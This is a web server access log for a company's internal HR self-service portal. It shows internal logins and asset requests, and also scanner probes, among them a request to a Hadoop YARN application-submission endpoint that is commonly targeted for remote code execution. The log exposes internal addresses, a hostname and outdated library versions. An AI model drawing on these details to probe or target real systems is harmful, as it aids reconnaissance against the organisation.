100.64.0.1 - - [06/Sep/2025:10:10:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:10:47 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [06/Sep/2025:10:10:47 +0800] "SSH-2.0-Go" 501 212 "-" "-"
100.64.0.1 - - [06/Sep/2025:10:10:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0"
100.64.0.1 - - [06/Sep/2025:10:10:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:10:12:04 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [06/Sep/2025:10:12:04 +0800] "SSH-2.0-Go" 501 212 "-" "-"
100.64.0.1 - - [06/Sep/2025:10:12:51 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:10:12:51 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [06/Sep/2025:10:13:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:10:13:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:13:47 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:10:13:47 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:10:15:03 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:10:15:03 +0800] "\x16\x03\x01" 501 205 "-" "-"
192.168.11.104 - - [06/Sep/2025:10:16:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.104 - - [06/Sep/2025:10:16:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:10:16:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.104 - - [06/Sep/2025:10:16:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.104 - - [06/Sep/2025:10:16:16 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:10:16:17 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:10:16:19 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:19 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:10:16:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.104 - - [06/Sep/2025:10:16:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.104 - - [06/Sep/2025:10:16:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.104 - - [06/Sep/2025:10:16:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116
192.168.11.104 - - [06/Sep/2025:10:16:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340
192.168.11.104 - - [06/Sep/2025:10:16:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:32 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.104 - - [06/Sep/2025:10:16:32 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:36 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:36 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:10:16:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:10:16:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:10:16:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:16:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.11.104 - - [06/Sep/2025:10:16:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
100.64.0.1 - - [06/Sep/2025:10:20:26 +0800] "MGLNDD_202.111.43.170_8088" 501 228
100.64.0.1 - - [06/Sep/2025:10:20:26 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-"
192.168.12.82 - - [06/Sep/2025:10:22:30 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:22:30 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.12.82 - - [06/Sep/2025:10:22:31 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.12.82 - - [06/Sep/2025:10:22:31 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:22:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:22:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.82 - - [06/Sep/2025:10:22:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.82 - - [06/Sep/2025:10:22:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
